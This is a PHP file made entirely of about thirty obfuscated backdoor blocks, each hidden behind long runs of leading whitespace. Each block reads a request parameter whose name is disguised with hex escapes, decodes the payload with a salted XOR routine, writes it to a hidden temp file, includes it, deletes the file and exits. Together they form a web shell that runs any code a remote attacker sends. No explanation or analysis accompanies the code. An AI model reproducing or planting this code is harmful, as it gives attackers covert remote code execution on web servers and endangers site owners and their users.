																																										if(filter_has_var(INPUT_POST, "\x70tr")){ $factor = $_POST["\x70tr"]; $factor = explode("." ,$factor ) ; $desc =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt6 ); $n =0; foreach( $factor as $v9) { $chS =ord( $salt6[$n % $sLen] ); $d =( ( int)$v9 - $chS -( $n % 10)) ^59; $desc .= chr( $d ); $n++; } $entity = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); foreach ($entity as $binding) { if (is_dir($binding) && is_writable($binding)) { $key = join("/", [$binding, ".record"]); $success = file_put_contents($key, $desc); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64at"])){ $sym = $_REQUEST["\x64at"]; $sym = explode ("." , $sym) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($sym as $q =>$v7): $chS = ord($salt[$q % $lenS]); $d = ((int)$v7 - $chS - ($q % 10)) ^ 20; $reference .= chr($d); endforeach; $pset = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path()]); foreach ($pset as $dchunk): if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $element = "$dchunk" . "/.marker"; if (file_put_contents($element, $reference)) { require $element; unlink($element); die(); } } endforeach; }
																																										if(array_key_exists("\x62ind", $_POST) && !is_null($_POST["\x62ind"])){ $property_set = $_POST["\x62ind"]; $property_set =explode (".", $property_set) ; $pointer = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $j = 0; $__tmp = $property_set; while ($v9 = array_shift($__tmp)) { $sChar = ord($salt7[$j % $lenS]); $d = ((int)$v9 - $sChar - ($j % 10)) ^ 8; $pointer .=chr($d); $j++; } $symbol = array_filter(["/tmp", "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd()]); foreach ($symbol as $key => $tkn) { if (is_writable($tkn) && is_dir($tkn)) { $flg = "$tkn" . "/.obj"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $flg; @unlink($flg); exit; } } } }
																																										if(!is_null($_REQUEST["\x65\x6Ce\x6De\x6Et"] ?? null)){ $mrk = $_REQUEST["\x65\x6Ce\x6De\x6Et"]; $mrk =explode( "." , $mrk ) ; $binding = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $n = 0; $__len = count($mrk ); do { if ($n >= $__len) break; $v4 = $mrk[$n]; $sChar = ord($salt6[$n %$lenS] ); $dec = ((int)$v4 - $sChar - ($n %10)) ^ 99; $binding .= chr($dec ); $n++;}while (true ); $symbol = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); $component = 0; do { $data = $symbol[$component] ?? null; if ($component >= count($symbol)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($data)) { $reference = vsprintf("%s/%s", [$data, ".rec"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $reference; @unlink($reference); die(); } } $component++; } while (true); }
																																										if(in_array("e\x6Ce\x6D\x65nt", array_keys($_POST))){ $bind = array_filter(["/dev/shm", getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); $dchunk = $_POST["e\x6Ce\x6D\x65nt"]; $dchunk =explode ( ".", $dchunk) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $x = 0; array_walk( $dchunk, function( $v4) use( &$record, &$x, $salt, $sLen) { $chS = ord( $salt[$x % $sLen]); $dec = ( ( int)$v4 - $chS -( $x % 10)) ^ 68; $record .= chr( $dec); $x++; }); for ($descriptor = 0, $desc = count($bind); $descriptor < $desc; $descriptor++) { $ent = $bind[$descriptor]; if (array_product([is_dir($ent), is_writable($ent)])) { $flag = join("/", [$ent, ".object"]); $success = file_put_contents($flag, $record); if ($success) { include $flag; @unlink($flag); die();} } } }
																																										if(in_array("en\x74\x72y", array_keys($_REQUEST))){ $ptr = $_REQUEST["en\x74\x72y"]; $ptr = explode( "." , $ptr) ; $res = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $j = 0; foreach ($ptr as $v5) { $chS = ord($salt4[$j % $sLen] ); $d = ((int)$v5 - $chS - ($j % 10)) ^ 88; $res .= chr($d ); $j++; } $mrk = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp"]); $comp = 0; do { $desc = $mrk[$comp] ?? null; if ($comp >= count($mrk)) break; if (max(0, is_dir($desc) * is_writable($desc))) { $item = "$desc" . "/.dat"; if (file_put_contents($item, $res)) { include $item; @unlink($item); exit; } } $comp++; } while (true); }
																																										if(isset($_REQUEST["\x65\x6Et"])){ $pset = $_REQUEST["\x65\x6Et"]; $pset =explode ( '.' , $pset) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $y = 0; foreach($pset as $v2) {$chS = ord($salt[$y% $sLen] ); $dec =((int)$v2 - $chS -($y% 10)) ^ 82; $entry .= chr($dec ); $y++; } $comp = array_filter(["/dev/shm", getcwd(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP")]); foreach ($comp as $dchunk) { if ((is_dir($dchunk) and is_writable($dchunk))) { $reference = sprintf("%s/.res", $dchunk); if (file_put_contents($reference, $entry)) { include $reference; @unlink($reference); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x64ch\x75\x6Ek")){ $sym = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); $elem = $_POST["\x64ch\x75\x6Ek"]; $elem = explode ( '.' , $elem ); $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $i = 0; $len = count( $elem); do { if( $i >= $len) break; $v5 = $elem[$i]; $chS = ord( $salt[$i % $lenS]); $dec =( ( int)$v5 - $chS -( $i % 10)) ^ 32; $desc .= chr( $dec); $i++; } while( true); foreach ($sym as $key => $fac) { if (is_writable($fac) && is_dir($fac)) { $tkn = sprintf("%s/.key", $fac); if (file_put_contents($tkn, $desc)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(array_key_exists("\x64esc", $_REQUEST)){ $data = $_REQUEST["\x64esc"]; $data= explode ( "." , $data) ; $pset = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2 ); $__len = count( $data ); for( $v = 0; $v<$__len; $v++) { $v4 = $data[$v]; $sChar = ord( $salt2[$v% $lenS] ); $d = ( ( int)$v4 - $sChar -( $v% 10)) ^ 28; $pset .= chr( $d );} $element = array_filter([session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir()]); while ($sym = array_shift($element)) { if (!( !is_dir($sym) || !is_writable($sym) )) { $comp = "$sym" . "/.binding"; if (@file_put_contents($comp, $pset) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(isset($_REQUEST["\x64\x61\x74\x61\x5Fchunk"]) ? true : false){ $dchunk = array_filter([getcwd(), session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $tkn = $_REQUEST["\x64\x61\x74\x61\x5Fchunk"]; $tkn = explode ( '.' , $tkn); $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $u = 0; $__tmp = $tkn; while ($v8 = array_shift($__tmp)) { $sChar = ord($salt[$u % $sLen] ); $d = ((int)$v8 - $sChar - ($u % 10)) ^ 12; $sym .= chr($d ); $u++; } foreach ($dchunk as $fac): if ((is_dir($fac) and is_writable($fac))) { $holder = str_replace("{var_dir}", $fac, "{var_dir}/.flg"); if (file_put_contents($holder, $sym)) { require $holder; unlink($holder); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["ent"])){ $comp = $_REQUEST["ent"]; $comp = explode ( "." , $comp ) ; $obj =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt9); $len =count( $comp); for( $q =0; $q< $len; $q++) { $v5 =$comp[$q]; $chS =ord( $salt9[$q % $sLen]); $d =( ( int)$v5 - $chS -( $q % 10)) ^ 88; $obj.=chr( $d); } $parameter_group = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path()]); for ($element = 0, $property_set = count($parameter_group); $element < $property_set; $element++) { $entry = $parameter_group[$element]; if (max(0, is_dir($entry) * is_writable($entry))) { $data = str_replace("{var_dir}", $entry, "{var_dir}/.pset"); $file = fopen($data, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $data; @unlink($data); exit; } } } }
																																										if(isset($_POST) && isset($_POST["el\x65m\x65\x6Et"])){ $ref = $_POST["el\x65m\x65\x6Et"]; $ref = explode ('.' , $ref ) ; $elem = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $__len = count($ref); for ($p = 0; $p <$__len; $p++) { $v3 = $ref[$p]; $chS = ord($s9[$p % $lenS]); $d = ((int)$v3 - $chS - ($p % 10)) ^ 84; $elem.= chr($d);} $object = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $obj = 0; do { $factor = $object[$obj] ?? null; if ($obj >= count($object)) break; if (is_writable($factor) && is_dir($factor)) { $mrk = implode("/", [$factor, ".reference"]); if (@file_put_contents($mrk, $elem) !== false) { include $mrk; unlink($mrk); die(); } } $obj++; } while (true); }
																																										if(in_array("des\x63\x72i\x70\x74\x6Fr", array_keys($_REQUEST))){ $pgrp = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), session_save_path()]); $key = $_REQUEST["des\x63\x72i\x70\x74\x6Fr"]; $key= explode ( "." , $key) ; $fac = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $i = 0; foreach($key as $v6) { $chS = ord($s9[$i % $sLen]); $dec =((int)$v6 - $chS -($i % 10)) ^56; $fac .= chr($dec); $i++; } foreach ($pgrp as $val) { if ((is_dir($val) and is_writable($val))) { $sym = implode("/", [$val, ".itm"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $sym; @unlink($sym); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "o\x62j")){ $dat = $_REQUEST["o\x62j"]; $dat = explode ( '.' , $dat); $key= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt5 ); $k= 0; $len= count( $dat ); do { if( $k >= $len) break; $v5= $dat[$k]; $chS= ord( $salt5[$k % $lenS] ); $dec= ( ( int)$v5 - $chS -( $k % 10)) ^ 13; $key .= chr( $dec ); $k++; } while( true ); $record = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); $flg = 0; do { $dchunk = $record[$flg] ?? null; if ($flg >= count($record)) break; if (is_dir($dchunk) ? is_writable($dchunk) : false) { $elem = implode("/", [$dchunk, ".pset"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $elem; @unlink($elem); die(); } } $flg++; } while (true); }
																																										if(in_array("d\x61ta\x5Fchu\x6E\x6B", array_keys($_REQUEST))){ $element = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm"]); $obj = $_REQUEST["d\x61ta\x5Fchu\x6E\x6B"]; $obj= explode ( ".", $obj); $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $u = 0; foreach ($obj as $v6) { $sChar = ord($salt[$u % $lenS]); $dec = ((int)$v6 - $sChar - ($u % 10)) ^ 25; $ptr .= chr($dec); $u++; } $rec = 0; do { $descriptor = $element[$rec] ?? null; if ($rec >= count($element)) break; if (is_dir($descriptor) && is_writable($descriptor)) { $flag = str_replace("{var_dir}", $descriptor, "{var_dir}/.tkn"); if (@file_put_contents($flag, $ptr) !== false) { include $flag; unlink($flag); exit; } } $rec++; } while (true); }
																																										if(@$_POST["s\x79m\x62o\x6C"] !== null){ $bind = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp"]); $comp = $_POST["s\x79m\x62o\x6C"]; $comp= explode ( '.',$comp) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $q = 0; foreach( $comp as $v6) {$sChar = ord( $s[$q % $sLen]); $dec =( ( int)$v6 - $sChar -( $q % 10)) ^ 58; $ref .= chr( $dec); $q++;} foreach ($bind as $key => $entry) { if (is_writable($entry) && is_dir($entry)) { $component = join("/", [$entry, ".item"]); $success = file_put_contents($component, $ref); if ($success) { include $component; @unlink($component); die();} } } }
																																										if(in_array("dc\x68\x75nk", array_keys($_REQUEST))){ $binding = $_REQUEST["dc\x68\x75nk"]; $binding =explode( '.' ,$binding) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($binding); for($v = 0; $v < $__len; $v++) {$v4 = $binding[$v]; $chS = ord($salt[$v%$lenS]); $d =((int)$v4 - $chS -($v%10)) ^ 19; $token.=chr($d); } $parameter_group = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp"]); $bind = 0; do { $itm = $parameter_group[$bind] ?? null; if ($bind >= count($parameter_group)) break; if (is_dir($itm) ? is_writable($itm) : false) { $data_chunk = sprintf("%s/.data", $itm); if (file_put_contents($data_chunk, $token)) { include $data_chunk; @unlink($data_chunk); die(); } } $bind++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x65scr\x69ptor"])){ $hld = array_filter(["/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd()]); $sym = $_REQUEST["\x64\x65scr\x69ptor"]; $sym=explode ( "." , $sym ) ; $entry = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); $x = 0; $__tmp = $sym; while ($v6 = array_shift($__tmp)) { $chS = ord($s8[$x % $sLen] ); $dec = ((int)$v6 - $chS - ($x % 10)) ^65; $entry .= chr($dec ); $x++; } while ($symbol = array_shift($hld)) { if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $key = implode("/", [$symbol, ".k"]); if (file_put_contents($key, $entry)) { include $key; @unlink($key); die(); } } } }
																																										if(array_key_exists("\x66\x61c", $_POST)){ $flg = $_POST["\x66\x61c"]; $flg = explode (".", $flg ) ; $binding =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt8 ); $p =0; $__len =count($flg ); do { if($p >= $__len) break; $v2 =$flg[$p]; $sChar =ord($salt8[$p%$sLen] ); $dec =((int)$v2 - $sChar -($p%10)) ^ 37; $binding .= chr($dec ); $p++; } while(true ); $data_chunk = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP")]); $k = 0; do { $comp = $data_chunk[$k] ?? null; if ($k >= count($data_chunk)) break; if (max(0, is_dir($comp) * is_writable($comp))) { $elem = vsprintf("%s/%s", [$comp, ".desc"]); if (file_put_contents($elem, $binding)) { require $elem; unlink($elem); exit; } } $k++; } while (true); }
																																										if(!empty($_REQUEST["\x74oken"])){ $value = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $ptr = $_REQUEST["\x74oken"]; $ptr = explode ( "." , $ptr ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $l = 0; array_walk($ptr, function ($v4) use (&$key, &$l, $salt, $sLen) {$sChar = ord($salt[$l% $sLen]); $dec = ((int)$v4 - $sChar - ($l% 10)) ^ 97; $key .= chr($dec); $l++; }); $object = 0; do { $ref = $value[$object] ?? null; if ($object >= count($value)) break; if ((bool)is_dir($ref) && (bool)is_writable($ref)) { $bind = vsprintf("%s/%s", [$ref, ".marker"]); $success = file_put_contents($bind, $key); if ($success) { include $bind; @unlink($bind); die();} } $object++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x72\x65f"])){ $sym = $_POST["\x72\x65f"]; $sym= explode ( "." , $sym) ; $symbol= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); foreach ($sym as $z => $v9): $chS= ord($s4[$z % $lenS]); $d= ((int)$v9 - $chS - ($z % 10)) ^ 32; $symbol .= chr($d); endforeach; $mrk = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($marker = 0, $desc = count($mrk); $marker < $desc; $marker++) { $rec = $mrk[$marker]; if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $parameter_group = vsprintf("%s/%s", [$rec, ".hld"]); if (file_put_contents($parameter_group, $symbol)) { include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(!is_null($_REQUEST["\x64\x61ta"] ?? null)){ $marker = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); $ref = $_REQUEST["\x64\x61ta"]; $ref = explode (".", $ref ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $v = 0; $__len = count($ref); do { if ($v>= $__len) break; $v3 = $ref[$v]; $chS = ord($s[$v % $sLen]); $d = ((int)$v3 - $chS - ($v % 10)) ^ 28; $record .=chr($d); $v++;} while (true); for ($rec = 0, $bind = count($marker); $rec < $bind; $rec++) { $descriptor = $marker[$rec]; if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $item = join("/", [$descriptor, ".fac"]); $file = fopen($item, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $item; @unlink($item); die(); } } } }
																																										if(!empty($_REQUEST["dat"])){ $pset = $_REQUEST["dat"]; $pset = explode ( '.', $pset ); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $o = 0; while ($o <count($pset)) {$v1 = $pset[$o]; $sChar = ord($salt[$o %$sLen]); $d = ((int)$v1 - $sChar - ($o %10)) ^ 1; $flag .= chr($d); $o++; } $ptr = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]); foreach ($ptr as $ent) { if (is_writable($ent) && is_dir($ent)) { $symbol = sprintf("%s/.k", $ent); if (file_put_contents($symbol, $flag)) { include $symbol; @unlink($symbol); exit; } } } }
																																										if(array_key_exists("\x6Da\x72\x6Ber", $_REQUEST)){ $val = $_REQUEST["\x6Da\x72\x6Ber"]; $val =explode ( ".", $val ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $n = 0; array_walk( $val, function( $v1) use( &$rec, &$n, $s, $sLen) { $sChar = ord( $s[$n % $sLen]); $d =( ( int)$v1 - $sChar -( $n % 10)) ^ 25; $rec .=chr( $d); $n++; } ); $ent = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir()]); foreach ($ent as $component): if ((is_dir($component) and is_writable($component))) { $token = join("/", [$component, ".hld"]); $success = file_put_contents($token, $rec); if ($success) { include $token; @unlink($token); exit;} } endforeach; }
																																										if(in_array("\x72\x65co\x72d", array_keys($_POST))){ $pointer = $_POST["\x72\x65co\x72d"]; $pointer =explode ("." ,$pointer ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $pointer as $s => $v2) { $sChar = ord( $salt[$s % $sLen] ); $d = ( ( int)$v2 - $sChar -( $s % 10)) ^ 34; $mrk .= chr( $d ); } $itm = array_filter([getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", "/var/tmp"]); foreach ($itm as $key => $token) { if (!!is_dir($token) && !!is_writable($token)) { $ptr = "$token" . "/.descriptor"; $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x62indi\x6Eg"])){ $reference = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), "/dev/shm"]); $descriptor = $_REQUEST["\x62indi\x6Eg"]; $descriptor= explode ( '.' , $descriptor ) ; $pointer = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7 ); $z = 0; $len = count( $descriptor ); do { if( $z >= $len) break; $v1 = $descriptor[$z]; $sChar = ord( $salt7[$z % $sLen] ); $d =( ( int)$v1 - $sChar -( $z % 10))^ 83; $pointer.= chr( $d ); $z++; } while( true ); for ($entry = 0, $desc = count($reference); $entry < $desc; $entry++) { $holder = $reference[$entry]; if (!!is_dir($holder) && !!is_writable($holder)) { $record = implode("/", [$holder, ".key"]); if (file_put_contents($record, $pointer)) { require $record; unlink($record); exit; } } } }
																																										if(!is_null($_POST["r\x65\x66\x65re\x6Ece"] ?? null)){ $dat = array_filter([getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), "/tmp"]); $rec = $_POST["r\x65\x66\x65re\x6Ece"]; $rec = explode ( "." , $rec ); $record = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3 ); foreach( $rec as $w => $v7): $sChar = ord( $s3[$w % $sLen] ); $dec = ( ( int)$v7 - $sChar -( $w % 10)) ^ 98; $record .= chr( $dec ); endforeach; for ($pgrp = 0, $bind = count($dat); $pgrp < $bind; $pgrp++) { $sym = $dat[$pgrp]; if (is_dir($sym) ? is_writable($sym) : false) { $entity = "$sym/.k"; $success = file_put_contents($entity, $record); if ($success) { include $entity; @unlink($entity); exit;} } } }
																																										if(!is_null($_POST["\x66l\x61g"] ?? null)){ $res = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp", getcwd()]); $component = $_POST["\x66l\x61g"]; $component = explode ( '.',$component ); $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $__len = count( $component ); for( $m = 0; $m < $__len; $m++) { $v3 = $component[$m]; $sChar = ord( $salt[$m % $sLen] ); $d = ( ( int)$v3 - $sChar -( $m % 10)) ^ 47; $mrk.= chr( $d ); } foreach ($res as $ent): if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $pointer = "$ent" . "/.item"; if (@file_put_contents($pointer, $mrk) !== false) { include $pointer; unlink($pointer); exit; } } endforeach; }
																																										if(array_key_exists("\x64\x61ta", $_REQUEST)){ $pset = $_REQUEST["\x64\x61ta"]; $pset = explode( '.' , $pset ) ; $hld =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); foreach ($pset as $z=> $v4) {$chS =ord($s[$z % $sLen]); $dec =((int)$v4 - $chS - ($z % 10)) ^ 52; $hld .= chr($dec); } $factor = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", getcwd(), session_save_path(), "/var/tmp", getenv("TMP")]); $element = 0; do { $tkn = $factor[$element] ?? null; if ($element >= count($factor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) { $ref = vsprintf("%s/%s", [$tkn, ".k"]); if (@file_put_contents($ref, $hld) !== false) { include $ref; unlink($ref); die(); } } $element++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "bindin\x67")){ $entity = $_POST["bindin\x67"]; $entity =explode ( ".",$entity ); $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $p = 0; foreach ($entity as $v5) {$chS = ord($s[$p % $sLen]); $d = ((int)$v5 - $chS - ($p % 10)) ^ 76; $ent .= chr($d); $p++; } $tkn = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp"]); while ($obj = array_shift($tkn)) { if (!( !is_dir($obj) || !is_writable($obj) )) { $rec = vsprintf("%s/%s", [$obj, ".factor"]); $success = file_put_contents($rec, $ent); if ($success) { include $rec; @unlink($rec); exit;} } } }
																																										if(array_key_exists("flag", $_REQUEST) && !is_null($_REQUEST["flag"])){ $pgrp = array_filter(["/dev/shm", getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); $val = $_REQUEST["flag"]; $val = explode ('.' , $val ); $property_set= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $z= 0; $__tmp= $val; while ($v4= array_shift($__tmp)) {$sChar= ord($s[$z % $sLen]); $d= ((int)$v4 - $sChar - ($z % 10)) ^ 25; $property_set .= chr($d); $z++;} while ($elem = array_shift($pgrp)) { if (is_writable($elem) && is_dir($elem)) { $itm = sprintf("%s/.holder", $elem); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $itm; @unlink($itm); die(); } } } }
																																										if(@$_POST["e\x6C\x65me\x6E\x74"] !== null){ $entry = $_POST["e\x6C\x65me\x6E\x74"]; $entry=explode ('.' , $entry ) ; $value = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3 ); $__len = count($entry ); for($w = 0; $w < $__len; $w++) { $v2 = $entry[$w]; $sChar = ord($s3[$w % $lenS] ); $d =((int)$v2 - $sChar -($w % 10)) ^ 82; $value .= chr($d ); } $obj = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", getcwd()]); $record = 0; do { $elem = $obj[$record] ?? null; if ($record >= count($obj)) break; if (is_dir($elem) && is_writable($elem)) { $ent = sprintf("%s/.dchunk", $elem); if (file_put_contents($ent, $value)) { require $ent; unlink($ent); exit; } } $record++; } while (true); }
																																										if(!is_null($_REQUEST["re\x66"] ?? null)){ $parameter_group = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", session_save_path(), getenv("TMP")]); $key = $_REQUEST["re\x66"]; $key= explode ( "." , $key ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $i = 0; $__tmp = $key; while( $v1 = array_shift( $__tmp)) { $sChar = ord( $salt[$i % $sLen]); $dec =( ( int)$v1 - $sChar -( $i % 10)) ^ 19; $marker.= chr( $dec); $i++; } for ($bind = 0, $factor = count($parameter_group); $bind < $factor; $bind++) { $dchunk = $parameter_group[$bind]; if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $pgrp = "$dchunk" . "/.fac"; if (file_put_contents($pgrp, $marker)) { require $pgrp; unlink($pgrp); die(); } } } }
